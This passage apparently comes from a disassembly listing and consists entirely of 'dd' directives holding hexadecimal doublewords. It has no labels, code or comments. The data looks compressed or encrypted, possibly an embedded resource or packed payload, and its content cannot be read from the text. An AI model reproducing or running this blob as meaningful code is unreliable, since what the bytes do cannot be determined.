		dd 7EB20F18h, 0BC784201h, 0AC701CDFh, 21040898h, 7E00BA31h
		dd 586101A0h, 1FA5F275h, 40A617C1h, 0ED889544h,	0EB041E08h
		dd 0F405402Fh, 40617006h, 0B8EF7207h, 104C1BA3h, 2B470038h
		dd 0CC339113h, 9CC99BFh, 582105h, 61FF2B3Fh, 0D665DFA4h
		dd 889B9C00h, 5CF9A98Ah, 68126796h, 180818F1h, 80714EEFh
		dd 91162B4Ah, 10E18C4Bh, 2B425Bh, 2E720A4h, 618DAB9Bh
		dd 9A5501Bh, 0EDE0DF58h, 3FF555E6h, 4B048D9h, 0E9BD8419h
		dd 20786180h, 80C2FD11h, 0A1095017h, 3AF9380h, 6052C8h
		dd 0D6B67701h, 78F6C529h, 321DBD00h, 9C687B5Bh,	0E8F100A4h
		dd 9343C7E0h, 4B00AEA2h, 0BE53B0D9h, 7C747C8Ch,	44754850h
		dd 8FE5F900h, 248B9096h, 73302C01h, 56CF99C9h, 50E3B4C8h
		dd 19A9DDEh, 0D7E74F6Dh, 0D4B244A7h, 4C7930C5h,	3D1AB700h
		dd 386F2EE5h, 0FA52036Ch, 6E21E91Bh, 45A3B5A0h,	26A88600h
		dd 0E3FF5DE7h, 73FCF0h,	43209205h, 4D591A88h, 7B4E13Eh
		dd 909F1108h, 7AEE9880h, 26AE06EAh, 20E63201h, 0D3AF5900h
		dd 8C19F7EDh, 1DD83130h, 96B1FA19h, 0CB0FE108h,	0F80EE005h
		dd 30F462D8h, 3060B62Eh, 31C7E7D5h, 802E3F9Ah, 714B25Eh
		dd 41AF6FF9h, 7FF63BBDh, 995460FEh, 4F37F75Fh, 7E900403h
		dd 0E032DEBCh, 14A53FEh, 0E365208Bh, 8057BEB9h,	8AE9D031h
		dd 6346E622h, 1A6228D3h, 8D7454C0h, 1132C11Bh, 4218E889h
		dd 0DB7B86h, 17A8C446h,	35B66E2Bh, 0BDA03Fh, 34EC5F33h
		dd 60313690h, 141B3910h, 0B1008FB3h, 0A218F154h, 0A54877h
		dd 0DCE267C7h, 52EC27AAh, 0C1404060h, 26160B6Fh, 79AED0h
		dd 153BE78Eh, 1EFE1A49h, 0C7846750h, 33DBD000h,	40CCB95Bh
		dd 66D20D23h, 0F03011CFh, 19C07D63h, 0A20CA84Ch, 4EF5011Fh
		dd 2F101C20h, 29E0D0A9h, 84AB5A7Ah, 0A32C01D0h,	25A148h
		dd 5CAF720Dh, 0ECD63C04h, 8BFB0024h, 0DAB5EC69h, 0ED032EF0h
		dd 0E75B9AD4h, 65EAE096h, 186A60C2h, 0CC226BB3h, 91005C74h
		dd 0D5C679F3h, 7AFD259h, 27DAEF76h, 21444675h, 0D5BE9A0Ah
		dd 0A100EE65h, 0B1B6DC73h, 92EE0069h, 345F2879h, 0F8C31517h
		dd 18AC4B68h, 4149CC38h, 2800091Ah, 0C0107C1Fh,	0FCCEA9D2h
		dd 35C50F57h, 0E963384Ah, 0A860F28Bh, 0B6B5930h, 538F18F4h
		dd 55711195h, 0EBCC1C00h, 12677D40h, 6608CC30h,	1D175721h
		dd 0D403471Ch, 44316EEh, 19FF7098h, 0CEF6017Fh,	18BB40BAh
		dd 7549DE08h, 6C59063Ah, 0C1E1E7h, 864F196Ah, 0CF285D2Eh
		dd 0E90BA30Fh, 0DDD6C030h, 0CEE581h, 0DF084775h, 6CBAEC4h
		dd 0B0B44800h, 0B5BAB196h, 0D54B07C2h, 807451E6h, 0B953CC5Ah
		dd 87A16200h, 0BB4DDFC5h, 48406048h, 0CAD66FAh,	0C3A81800h
		dd 45E59087h, 139EB8FCh, 6077E01h, 798FD7F8h, 0AD30DE00h
		dd 91FE123h, 2E4A1C42h,	921300F0h, 2667F5E3h, 1148ED0Eh
		dd 722AC0BDh, 0F92C71h,	0FEA66549h, 0F71DF174h,	0E6120405h
		dd 9F809A43h, 18E99402h, 699DD8F6h, 7EB87A76h, 0CC5EB800h
		dd 0DA320D98h, 649A0044h, 8A1971A4h, 0D0CB8E81h, 801A8003h
		dd 189376B3h, 0C875C4BDh, 0F40E8943h, 0C2390644h, 0C0CD5E0Fh
		dd 0F3DE02h, 0A94E6A25h, 3C2C0383h, 2A1C8100h, 13398FA0h
		dd 924D0770h, 415DC06Ch, 0F378759Fh, 0B6D8BBA0h, 5B347E00h
		dd 0B8D4271Fh, 1805EAA1h, 18827AF7h, 2D0104DDh,	69D20B7h
		dd 0BFE01AECh, 0B81D7841h, 7DF630EAh, 0FC869228h, 0C0615360h
		dd 1BD8D16h, 0F44F946Fh, 0F45797C7h, 960E225Bh,	475E4C61h
		dd 301C247Bh, 8438325Dh, 0C106728h, 4A4400FBh, 8B6D7B49h
		dd 9CFF5CF1h, 1AFBEA78h, 19D1B703h, 7441A71Ch, 0C0886D35h
		dd 0A51975E6h, 6087798h, 9A52D718h, 68C30FC0h, 545C21E9h
		dd 252D44h, 236B1402h, 0EC6AB49h, 1DC28706h, 209ABAh, 0DD3E5F92h
		dd 0D8769F4Ch, 39B8600h, 6AF84031h, 60987ABFh, 0EFC2B1C8h
		dd 0F50E8E15h, 7023F26h, 0B2412082h, 18DBC76Eh,	316FD851h
		dd 59003D0Eh, 5B5C061Ah, 3310C1Eh, 5E979B8Ch, 85F828DAh
		dd 78C8DF95h, 0D01880D9h, 282B97A3h, 931E2714h,	91FF11A0h
		dd 0B90CDD05h, 3D980074h, 5D7D3F48h, 809B663Eh,	9E415E08h
		dd 0E100425h, 998471DEh, 697902CCh, 0D048F738h,	0CA889A24h
		dd 0D8100702h, 46D7C671h, 0A07CC1DFh, 0A1D54E0Eh, 0CF0036C5h
		dd 0BA57F1DDh, 12070073h, 8629A9FEh, 38E8ED4Eh,	3F186B14h
		dd 0D1DC06C0h, 34887F4h, 370C1D1Fh, 1019DA2Fh, 0F761E8A7h
		dd 2B35C4h, 9DD3C3F5h, 0ABC0196Bh, 5B949700h, 4132B2D6h
		dd 0BBA30088h, 0DBFF60C5h, 530CED7Ch, 62903969h, 0D471CF96h
		dd 61124900h, 44286338h, 9750C72h, 10913A00h, 0F9E74DB0h
		dd 346A3C88h, 2701100h,	60247E06h, 4A071892h, 36404E6Eh
		dd 65C1B210h, 88BF02BBh, 53D3850h, 0DEEABF60h, 7684B91Dh
		dd 0C239991Bh, 0EE004985h, 1D86EE0h, 0FE064D01h, 0F323F5B4h
		dd 45B291Fh, 1F0F0A0h, 4F5E3A25h, 8079B957h, 0E22C3941h
		dd 98A743B8h, 0AE7D02EEh, 70C09194h, 7F0861h, 0A00526B9h
		dd 0C378ECh, 407671A7h,	8E1EED16h, 47836900h, 42E14B81h
		dd 7DBBEED1h, 61FA03FFh, 5C6FA80Fh, 47F80918h, 0F79B20h
		dd 0A3FA561Eh, 0CF8D10AAh, 461D9300h, 6199EACDh, 6E3939A8h
		dd 15C24D86h, 620759E0h, 0A69F14C0h, 0F5ED0AC0h, 69803A40h
		dd 83DCE581h, 488E4781h, 1E08FE44h, 70E761E3h, 1E00F6A0h
		dd 32BCE014h, 85253h, 0CE9EB80Fh, 0E8C77518h, 546B60E5h
		dd 44D6DB28h, 0F9E8D4ECh, 11460630h, 12BF222h, 8F5EB47Eh
		dd 998DCBDFh, 0DB983008h, 2C7AC0h, 0C8688A6Eh, 8F078C56h
		dd 80FE4D51h, 39D25A58h, 0A97F15ADh, 0E2187AA8h, 61EF1D04h
		dd 0F432ADC7h, 1EFAA420h, 76F46Dh, 14889517h, 0F7E0BAAFh
		dd 0DEF5C703h, 7E923841h, 6E1E0511h, 80A1A2DDh,	78AC7F51h
		dd 74B4B60Fh, 0CA34C059h, 330313h, 0F27C07ABh, 63E7B7B3h
		dd 0C50055EEh, 4E22F3BDh, 3E10D4DEh, 0EA004180h, 0A3BC7E6Eh
		dd 68008362h
		dd 7345CFFDh, 0F2E7741Bh, 995B3C4Ah, 0BB058D80h, 3F97F284h
		dd 63A96700h, 3915461h,	0A62A00DAh, 4E784FFBh, 26708B57h
		dd 0E6429000h, 5944824Ch, 60023898h, 0F87EE500h, 0D20F9FEBh
		dd 6F5E8000h, 0B7140B89h, 44AA0039h, 0F03F8F0Eh, 0A600ED87h
		dd 1FA81561h, 6B43DCh, 9AB5669Ch, 0AAB2161Dh, 0AF73C518h
		dd 75410h, 3F57746h, 60D5AA5h, 216508CCh, 46023F34h, 0D7677080h
		dd 31B860B1h, 70576630h, 0DDACDA4h, 0AF7263A7h,	0FF1C0168h
		dd 39FECCDEh, 0BE4D440Ch, 69C61871h, 0D802175h,	0C2E609A1h
		dd 1273AA00h, 5D2A7CB7h, 3DD303FFh, 3EB54B2Dh, 3BD108A0h
		dd 61022C1Eh, 34074D8h,	8E90000Ch, 168143B1h, 75A2CD0h
		dd 4B00A1FCh, 0F1486185h, 241D1DCBh, 3830875Ah,	3B776BAh
		dd 4899EC08h, 9180543h,	0DA201EBDh, 0D0B7606Dh,	4C3259E5h
		dd 0D4987750h, 460D048Ch, 6213F53Dh, 54E2069h, 75005746h
		dd 0B57E701Eh, 5E839B9h, 0EE3017E3h, 0A69C0159h, 791D6CDh
		dd 23035AB3h, 1C00D368h, 7BF57A46h, 614486A1h, 4613003Bh
		dd 0FB05AE27h, 0CCA07CA8h, 3F80518Ah, 9DF731FFh, 896668h
		dd 41A04D9h, 9C6AFC42h,	0E80854C2h, 0F9018C6Bh,	24350125h
		dd 18854EF0h, 40825A74h, 5EEC7A4h, 2100D680h, 0E20791C6h
		dd 3139387Ch, 9DA05A5Eh, 1854BA49h, 0F540B0BAh,	155924D6h
		dd 62EF0318h, 0DCC2B88Dh, 0BC246C48h, 6D85DE06h, 71B59Ch
		dd 2BE0D10Fh, 6839C6B9h, 53093266h, 0D56F0021h,	31B71FE0h
		dd 58927BA2h, 22CC19A1h, 30BEF20Ch, 9C00296Ch, 0D969B804h
		dd 12A6010Dh, 1E1AC1ABh, 0E9863FB4h, 0D8B73768h, 8B22E20h
		dd 148536FFh, 95A6E903h, 0BC30400Bh, 110F8CD0h,	35F57946h
		dd 806C88F8h, 53461432h, 0C290E918h, 34B2218h, 553B9AC1h
		dd 0DDE0A4CCh, 94735685h, 25E0FB02h, 5431D6B9h,	0E0D77510h
		dd 53EF4100h, 0B1DE71D0h, 9BB0C0FDh, 0E580FBBEh, 8EAC9400h
		dd 3EF9157Eh, 0DF187306h, 0D4BB01D1h, 0F073CC1Fh, 207071B3h
		dd 0B8551628h, 0EFA30C00h, 445D254Ch, 0F3E7002Ah, 1668684h
		dd 8E72E8F4h, 1FD32801h, 1471CEF9h, 0E18F5880h,	0D481590Eh
		dd 5AB8C800h, 6105744Dh, 0FDF1CE26h, 0AAFBEFA1h, 9E85E858h
		dd 35082866h, 3E630021h, 8C3312EFh, 20053DE3h, 6280C5E1h
		dd 1F045DC1h, 0F5A62987h, 900A59F2h, 610E08A0h,	0D0B3AC00h
		dd 93271DCFh, 0B7750114h, 3371EC0Dh, 70C78020h,	0FCF202B7h
		dd 0FF400AA5h, 80E07CCAh, 28E1EAC1h, 0DF0A34AEh, 0C03D9562h
		dd 0BE6E980h, 227207h, 5986D543h, 6AEFFF19h, 1DA99F60h
		dd 9A7D3EF7h, 1C4AF0A8h, 98593075h, 381DB074h, 70AA4918h
		dd 50203138h, 40767068h, 3900CEA0h, 8F0CCB2Eh, 7D0DA3D8h
		dd 42CD14D1h, 0AF028C9Ah, 0FF242CF6h, 5923209Eh, 744B05F8h
		dd 29CC6016h, 72B8F8EFh, 3045CC8Ch, 9EF21C4h, 94D0205Bh
		dd 602BC404h, 2311B771h, 911151ECh, 0B76CC301h,	30AA1D7Dh
		dd 0DCA8BBD1h, 0C509A85Ah, 8265950Ah, 41F5E974h, 0A18D5B0h
		dd 9078463Eh, 6FC8A50Bh, 6C1F4D93h, 4B273744h, 562B8880h
		dd 82FD18AEh, 4AE9698Ch, 85B85350h, 64C680Ch, 0A9D61CAh
		dd 0A16A2B81h, 64F40238h, 90C5A030h, 0BC3F5013h, 6C056F23h
		dd 16C7CDA2h, 21A5A000h, 4D8D19B3h, 0C7CA497Ch,	8E1EA3A0h
		dd 0D000F898h, 9EE82813h, 5DAACCFCh, 44BC001Fh,	0C8603F01h
		dd 29FCC9C3h, 2AA2C823h, 93C5E30h, 0FC15DE7Fh, 29AEF4A1h
		dd 0F1883023h, 9C227890h, 0BD6312FEh, 8D0C4080h, 0A956F5B3h
		dd 2A1DB498h, 67053FD2h, 54019D6Ah, 41723C63h, 2881EAF0h
		dd 20D08E23h, 2C0B775Eh, 108D42C9h, 62E01584h, 0B22640CFh
		dd 18D7C891h, 3E460808h, 6CC41BF5h, 46FF3740h, 0A82591B8h
		dd 2A44FC74h, 0AADB1CE8h, 54E70324h, 87A0F483h,	0C6107FC5h
		dd 0EF061EA6h, 0D0553DB6h, 0F231121Dh, 1C982C3Eh, 84AF7E08h
		dd 1392DDEh, 1A9596EDh,	848D4307h, 4767681Eh, 0C0B2923Bh
		dd 0C0FFC408h, 0AAD1EF2Ch, 0FC222846h, 0EF245D1Eh, 0E00195DCh
		dd 62BB523Fh, 609DA6E4h, 0C6F96822h, 2401A402h,	0A18B6B44h
		dd 0C1878357h, 0E79F6945h, 0FB300223h, 18020849h, 0FCEF0825h
		dd 31C430AAh, 0EF3D5E40h, 6901793Eh, 5A67FCBAh,	0C5C4A741h
		dd 0E493480Eh, 2A0CC63Dh, 0B2F1B4E8h, 50760117h, 0C6F5A043h
		dd 32283E69h, 0B5494080h, 1BF12884h, 0F8849958h, 0B17F8C4Dh
		dd 0E3191707h, 34D05E4Bh, 5602918h, 5FED4ACFh, 12D84035h
		dd 631BFBBDh, 0F994C334h, 9088688Eh, 71565EC1h,	24530420h
		dd 0E2504276h, 200CAFD6h, 0BF7D0054h, 9C23F230h, 0B8540141h
		dd 0C8914BA8h, 0CE60CC7Bh, 0DB006B08h, 0BA617533h, 946FB611h
		dd 8B0D0220h, 50462341h, 6CC6D0A2h, 61798CB9h, 537E0818h
		dd 88209530h, 0E715066Eh, 0F61170h, 71C3DCDh, 0A9F3BCABh
		dd 0CAEC4704h, 0D08FB108h, 0E9C16088h, 8FDC1BF7h, 11320134h
		dd 0FDC65528h, 58AC2012h, 1804A092h, 0E977CB24h, 69C894DAh
		dd 3BE42BC0h, 0C22E0072h, 6FCA9C16h, 8AF6EED9h,	86717F3Ch
		dd 0E60641B4h, 1FAB7C59h, 0F9C6B22Fh, 221DE312h, 78302224h
		dd 0EC1211B7h, 80B98849h, 1AB76FC0h, 0B300FB40h, 14A08B2Ch
		dd 29D85ABh, 24F7450Ch,	8C4827F1h, 0E62539BAh, 0CC40069h
		dd 2524D743h, 2011ACE8h, 8F8186Ah, 0CEB920E0h, 6405BC4h
		dd 7027E0D0h, 7C3B86E8h, 5B401FDh, 5A195EE4h, 4CE36824h
		dd 24117045h, 1A8702B2h, 41D77255h, 360D282Ch, 1A88B08Ch
		dd 0E7C3000Bh, 3F9CC765h, 505927C5h, 0D36E0008h, 32014C55h
		dd 0E1068074h, 2AA30920h, 90A4B45Ah, 24E920B4h,	2785F48h
		dd 8F57BE93h, 0C4F0471Eh, 0C5767BCh, 7B8D1A10h,	0E9CC6F66h
		dd 0DB5FD960h, 0EF01BF9Dh, 6AD223E4h, 0D98D72A9h, 0E029C463h
		dd 0FB09ADE5h, 6026C1D6h, 255D9624h, 9C02D4B1h,	3207603Ch
		dd 0F2E42100h, 82F11820h, 2A18E0B8h, 0B69CE000h, 78A459B5h
		dd 77DC0107h, 0FDCFF0FAh, 2964E936h, 70C70AE8h,	8C0080D7h
		dd 6075CA07h, 582CE726h, 48C62BCh, 5CF9DDEh, 92C984E8h
		dd 3446C6E8h, 1DFE18E7h, 23B926E0h, 70004811h, 19BAE0D6h
		dd 4E3DCC4Bh, 0F656006Bh, 0FDA8FA8Ch, 0E88854CAh, 82204094h
		dd 0B442BC03h, 0C0C211F1h, 0ACE592h, 36755417h,	2D763CE2h
		dd 0BE31CD00h, 0D18F0D3Dh, 69DE3C79h, 0CE32B4D0h, 12609A49h
		dd 733E72B7h, 23045948h, 0C4771F3Dh, 6261EC07h,	72C520BFh
		dd 1DE891B7h, 0AAE38904h, 8C8050F5h, 1D8E4BC4h,	12C90ADAh
		dd 4D6892A1h, 2AE4E8C5h, 2D967961h, 0B5C9E914h,	688D5108h
		dd 0B2364420h, 0C0148814h, 0AAFAEF13h, 2684AE1h, 0BAEF2B60h
		dd 9BECE049h, 7930B94Bh, 0F818FBh, 0E24DE3CBh, 382067D2h
		dd 84A0827Dh, 6914E11Eh, 0D2B86285h, 31C8648Ah,	898D3C0h
		dd 4B0F6BDh, 0C86C0232h, 86809070h, 9900111Ch, 0B35C8D78h
		dd 1F4ACBBCh, 38CE550Bh, 1FBD050h, 0E561A99Dh, 2CBAEDA6h
		dd 0DDA712B4h, 9E802C5Eh, 1FA93A91h, 86F09C9Ch,	89228007h
		dd 5A73A614h, 725B0018h, 8B76A43Bh, 0C0E84BF8h,	56299925h
		dd 0AAECD500h, 0CF01435Fh, 33B8017Fh, 98785836h, 0E5BDE0EDh
		dd 8FA40C01h, 0C7D42204h, 0D401145Ah, 0C59AFC8Fh, 1FF18079h
		dd 0A9624513h, 1BD0364h, 165DE407h, 0F7040898h,	67748600h
		dd 6AF00DFEh, 6BB0C03Ch, 85D79D93h, 0A8E0C1C0h,	4C6A11B1h
		dd 809634AAh
		dd 5478DA0Ch, 50A55F00h, 0D7AA879h, 0BC2400F1h,	9E9D7539h
		dd 5500ABB1h, 5B4B1784h, 262F4E5h, 1A9CD37Eh, 98A7294Ch
		dd 3E8D2071h, 0DA7CC9C5h, 0C76A6E00h, 2FAB659h,	46EAEAh
		dd 0F1CC45B8h, 72B5BA6Ch, 8B6A7300h, 33432FB2h,	0F6392EEFh
		dd 697A0790h, 25FB4120h, 0C28844B1h, 48596764h,	57C87406h
		dd 0B35F0011h, 7A1E8BF7h, 45019FB7h, 1C11C2FEh,	508F30C4h
		dd 9540CFF4h, 8FD89BBAh, 7415730Fh, 2557602Ah, 0D73770h
		dd 0F36D6413h, 65ACC20h, 0DD4D5D00h, 0A167525Bh, 1F1C7CC7h
		dd 160C3EAh, 680B61E5h,	0CAE6E080h, 18CFFE33h, 33A7B836h
		dd 932C07D3h, 5781720Eh, 0A1E8E320h, 0A7AD61E0h, 0BF10E0E5h
		dd 53113560h, 30D8231h,	0ACA1CBC0h, 81834A8h, 74206244h
		dd 96820779h, 0F63F0F5Bh, 451F906Ah, 0B098EF37h, 9D8759h
		dd 831C3A20h, 7324C193h, 375108C6h, 816D0020h, 43CA7C20h
		dd 5A605BEBh, 86DFEED9h, 8F0C08Fh, 0F6E77538h, 36A7CA00h
		dd 8CA8FCC5h, 0E9290769h, 0A081262Dh, 5F1DF93h,	44D3A700h
		dd 1750A1CDh, 0D840074h, 10066CE7h, 0C27A05E0h,	0BC34BE00h
		dd 8A88FD3Ah, 3E4E0021h, 0E9DCCCA5h, 0E4015F8Ch, 0F6CFDB7Ch
		dd 14D8A748h, 58A91C42h, 5543000Dh, 85CE571Ah, 0C4272400h
		dd 78180CAFh, 6DDB0012h, 4D840596h, 0C700C0C3h,	0EFC2BC6h
		dd 0D81F30h, 0EE5D5E37h, 0AB951019h, 35529600h,	0AA5FCA5Bh
		dd 4BD0000Fh, 6C60FEC9h, 2500B09Dh, 62EA5A20h, 607C0BE9h
		dd 84D5B087h, 684C8110h, 0EA441DD1h, 0ED916100h, 0C65F206h
		dd 780E97Ch, 2B00EC30h,	0B8D85822h, 12E4F83Dh, 18E72D8Fh
		dd 1A4921D3h, 0D5815800h, 0C9F4B144h, 69430CA0h, 0DE507BA5h
		dd 0E7D66818h, 0E0073B68h, 0B5401F7Ch, 0E46207C3h, 0A031C843h
		dd 3970E8CDh, 0E711C099h, 421FC2DAh, 192C3A3Fh,	0AE08241Ah
		dd 0D92000DBh, 0AB43CB22h, 0E7608FE5h, 2F364549h, 996F003Eh
		dd 0AC1DB9B5h, 2606061Fh, 7DE3D183h, 101C0029h,	13376FA1h
		dd 0FB3307C4h, 37408C7h, 0A1E9BD21h, 4A765BEFh,	0E31E0E0Ch
		dd 0F2E50E22h, 288460B9h, 0ED19422Ch, 53F0EE60h, 67D92FC5h
		dd 13A2821h, 0FAE34B1Ah, 51CC9880h, 63771631h, 6B310878h
		dd 0F97084Ch, 562E2080h, 8023C531h, 0FE06831Ch,	5D2FC103h
		dd 150710Ch, 9848A6C0h,	0C0311495h, 83B85A9Ch, 5E23DC1Dh
		dd 0F62BB100h, 72959A9Dh, 24F900D8h, 4C68568Fh,	110096CDh
		dd 22D28C15h, 0F7CF80h,	20B9A66Bh, 0C368A8BDh, 0D740A71Ch
		dd 0A0C0569Eh, 4F98711h, 34A30312h, 0D37541E2h,	0F69863FBh
		dd 0F7F69C8Fh, 6C86A600h, 248C3CCAh, 0C7F2007Ah, 0BEF90FCh
		dd 0EC00664Fh, 5A4996DAh, 29B26CE5h, 0FD04E321h, 72851881h
		dd 1180E4BEh, 2666ADB6h, 480004E3h, 3D6BCAB8h, 94ED7Ch
		dd 21A859B5h, 42B60CDCh, 0E0EE6A05h, 14081704h,	3EDF4240h
		dd 2D218E24h, 106412A3h, 6A8958D7h, 7620B208h, 88E871CBh
		dd 96883BFDh, 9FEA886Dh, 88ECC940h, 1F00021Eh, 4E633217h
		dd 0FE620B28h, 443C00F9h, 76EC0D6Dh, 1300E743h,	6F975DA7h
		dd 78C25B85h, 32701E5Eh, 0E56A409Ch, 126E4862h,	0BBD71700h
		dd 5456DDA1h, 0EC8939C9h, 249EF400h, 0DE677513h, 55CE3700h
		dd 2EBDC118h, 0B2D0310h, 94DB024Ch, 355C09B8h, 517B97F8h
		dd 5D1DEA07h, 7470BFFCh, 9CF825h, 0AEB3C537h, 24DCEF2Dh
		dd 4CBCE400h, 14DE940Eh, 78190EF0h, 9240E0D6h, 0F5C7D991h
		dd 620DDC0Eh, 0CD269FFFh, 576A3705h, 0DDACEC40h, 3010D0A8h
		dd 0DCA11E1h, 8D0CA958h, 10604C44h, 4F090001h, 24C69563h
		dd 1500CC9Bh, 55205B67h, 92F4D5E6h, 21B00010h, 2DDCF73Bh
		dd 977D8E0Fh, 0E9E68200h, 0D44A7E83h, 0BAD800CBh, 58FD1F62h
		dd 3600CD3Bh, 0FED6A09Bh, 5EB834h, 9C6DD82h, 6B081297h
		dd 9C70062Ah, 0B70AC500h, 0C64E96C1h, 3D1239BBh, 76BF5200h
		dd 266808D0h, 0B3DEC903h, 0D064BAB7h, 32492Ch, 1CDA5356h
		dd 9C14CA75h, 7A00127Bh, 7E41F40Ch, 7DCF0D6h, 0A80FD0FFh
		dd 7B3B3093h, 3A000B8Eh, 6BA11853h, 399DB2h, 6C0EA98Ch
		dd 0A81B3548h, 0A2A739h, 3C548E12h, 18AE0E9h, 90A4E7ABh
		dd 0D7798063h, 857ACFB8h, 0CD2EFA1Fh, 0C7088C80h, 0B827A58Ah
		dd 26171E23h, 6598C03Fh, 0EEC996B2h, 2D4B6000h,	27A7B5C6h
		dd 754200F5h, 6412ECD2h, 5B001BFCh, 9B17E128h, 2EBEE7h
		dd 4EDDD67Ah, 25E8B4AAh, 0BBFB9928h, 112460F8h,	8E0048B9h
		dd 0B789BDE7h, 80F00183h, 1AEA09F6h, 0C0ABDCDEh, 838458h
		dd 567365BAh, 248DC2ADh, 80004AAFh, 0D504BDC9h,	0DA007FAAh
		dd 82CD174Eh, 0F7E62E3h, 0CC323E11h, 0AB2F8780h, 8440A698h
		dd 1FC00067h, 0D435C85Ch, 0AD004D7Ch, 0CF9C9B82h, 77F0FAEh
		dd 508A5824h, 0FD2AF1Ch, 0A4BCE31Fh, 51610018h,	0CA2DC6A9h
		dd 80A9124h, 7D45DA00h,	0C00C9381h, 0FC1C1110h,	0A91C5C3Fh
		dd 0AB9778B0h, 74001B1Fh, 0B4E68A13h, 835E03F5h, 0AED3DF0Dh
		dd 2E399807h, 8EC3B617h, 87A880A4h, 30AB836h, 0CF183888h
		dd 90A00532h, 817A4852h, 85863000h, 6616EEBDh, 782090F8h
		dd 0D9443DB5h, 23F04B01h, 0C1415E99h, 78F6C01Fh, 89321B01h
		dd 7E08909Ch, 0CC0060h,	0A688457Ch, 8683164Dh, 7FE699FEh
		dd 0B62A8207h, 0AC009050h, 331777h, 3930BE4Ch, 0D0EAD559h
		dd 0D8DF2007h, 0F4204E32h, 3C8F2Eh, 9298CA1h, 0E6C02B2Fh
		dd 7B7E1001h, 1AC4AF4Dh, 840C20h, 0DE53CACCh, 0D910B498h
		dd 1800BF90h, 2476F01Fh, 0B8CC7509h, 568A00AEh,	7D0CEFC1h
		dd 0D006B0CDh, 0AE521ED6h, 0A6580056h, 8074BC88h, 0B01C5FA2h
		dd 22DD42FFh, 0C1264700h, 3B53137Ah, 0D78BE444h, 0F00204C7h
		dd 4060C3EBh, 3A08270Ch, 87EE924h, 82818EA1h, 0D4AFC3D7h
		dd 0E92E2880h, 5FE02F1Ah, 0ED9B5600h, 0C6A0BFD2h, 3230C061h
		dd 591D06E9h, 77C1FA60h, 268C9B92h, 720352Fh, 905FECEFh
		dd 0A0011A73h, 9058D160h, 3391A4D2h, 1F10ED55h,	0A1B580D8h
		dd 0EE007090h, 0C073544Dh, 5C28DAFFh, 390089B8h, 0B0BB65E4h
		dd 700025C1h, 24624E30h, 0C96C2E38h, 2B00D038h,	0AE557976h
		dd 0EBB37400h, 6571357Ch, 3AA50029h, 39536E20h,	920011D2h
		dd 0FB7940FFh, 1E0DE4AFh, 0ACE7046Dh, 8F1A0172h, 4049B40Ah
		dd 0BCBE67B4h, 0B89BDA00h, 0BDCB879Fh, 6C090026h, 0DDCCC5FAh
		dd 8D7719D3h, 47AE452Ch, 2E11E403h, 5C609736h, 1D8F022h
		dd 0CB9359C1h, 0E81856AAh, 57B0D3BAh, 6C95B200h, 0FB1B8F2Fh
		dd 0EF6F0059h, 7DE2B6DFh, 0F6005462h, 46DACD8Ch, 0E19589h
		dd 83053F4Ah, 378EC72Ah, 3660BA00h, 0CE6355B6h,	8CA30714h
		dd 60FEF11Fh, 50EABC97h, 8EFDD41Bh, 720A8098h, 0E6407D36h
		dd 0FF5B0003h, 16AD443Eh, 210FD2AEh, 0C014745Fh, 0F205D057h
		dd 339C0085h, 0E5F69461h, 7C002318h, 0CAFA9071h, 1FBB0F2Eh
		dd 0C08AD3ECh, 0EEB66986h, 0AC00ED7Bh, 0B53D56B7h, 54D1DAh
		dd 0F364CDA1h, 0B418B004h, 0B76BA509h, 38C8A0E8h, 6F944Ch
		dd 5D45F5ADh, 0EE0A69A0h, 82B67500h, 0D5976418h, 1E3200C7h
		dd 0A648947Fh, 51018B4Bh, 86E5C199h, 6A8753DBh,	61FF430Fh
		dd 703ED24Ch, 290E4541h, 4055D75Bh, 0F59C0D8Bh,	607F481Ah
		dd 0C5AFF00h, 0E120D325h, 3A00DA73h, 7E903EEh, 0F9F37Eh
		dd 0F4E2B819h, 0AD0EBA92h, 0D6723Dh, 29CD7F74h,	989944h
		dd 0C49E12A4h, 24E13047h
		dd 6212667Ch, 0D800D6B9h, 0E3CAF627h, 7AB00741h, 0B3A0F097h
		dd 6B04D7Fh, 0A32C047Dh, 9E003893h, 0B39D9B7Eh,	0AEB40FE4h
		dd 77C0DF8Ch, 8AD4C1BDh, 0DAF56D00h, 0D9289FF4h, 6EE0024h
		dd 25DE3FDFh, 1F00AFF0h, 0E362EDEFh, 178FD1CAh,	0FCD5A68h
		dd 56ABD629h, 0B2F08090h, 13E88B1Eh, 0DA01BCC3h, 0B699B8B8h
		dd 0CE3F09FAh, 0A80070B3h, 0A4FDFC31h, 0BD452E00h, 637E4C12h
		dd 0E964009Eh, 2087EA4Fh, 1DE8EB35h, 78041E18h,	8C3B18h
		dd 6D8D9357h, 0EC9A88E1h, 13EDFA00h, 9D6F72CBh,	3A11F95h
		dd 0C2B800BAh, 5DCF7393h, 0FA011B3Eh, 0D5A6DE09h, 0FF5209FBh
		dd 806D3207h, 4BA03B1Eh, 0EB009270h, 0CAF9C66Bh, 58B70B7Dh
		dd 100004Ah, 98F57B15h,	343F6D33h, 3D608029h, 0E702F6E2h
		dd 3E95729Ah, 0E84308D4h, 9C9A8C81h, 0C76E0701h, 1EB9EDC8h
		dd 176C81DCh, 9CBF32Ch,	0DC83FA90h, 3FB0684Dh, 0E04C790Ah
		dd 0A70071A4h, 54786E4Bh, 0FCB46B46h, 7AB600DAh, 3A22BF17h
		dd 0FE21CCDh, 4654C00h,	535AD65Fh, 7CB72474h, 674D0096h
		dd 0A2C07144h, 0EA0EACF0h, 0BE9DBE5Bh, 0C5342DC0h, 4B2EC3h
		dd 931C3B05h, 1EB16889h, 5B0C8712h, 4A164800h, 0CA7357h
		dd 243046ABh, 0F5C579AAh, 0E59574C0h, 3D1977Eh,	11915FA8h
		dd 0F8C13C66h, 28D0E355h, 0A21C6733h, 43F7A17h,	0CA8FEFFAh
		dd 0DC824885h, 8C484031h, 0D64200BBh, 0BEF9C17Bh, 4B00D445h
		dd 0C37604F1h, 0ECE90DCFh, 4C5D0002h, 0E44808F9h, 23FE81E0h
		dd 43003DF6h, 71B044D4h, 0D08355h, 4B3E916Bh, 0A20B1993h
		dd 3BC2EA00h, 0DCB26CDFh, 0B08B0020h, 1292DE84h, 0E617D223h
		dd 540263F3h, 825367EEh, 0E4854198h, 0DC292CC0h, 748B0067h
		dd 0DEE8234Eh, 0B09AA517h, 80E0E409h, 0F6D64F32h, 1F319838h
		dd 87439C81h, 3F022Ch, 0EEB72663h, 472A0E00h, 84E1771Ch
		dd 44250467h, 0C069C502h, 3E0F944h, 0F636A30Eh,	0FCAEE041h
		dd 828490h, 0BDB309Fh, 383E59D5h, 4B033B1Fh, 22F55BC4h
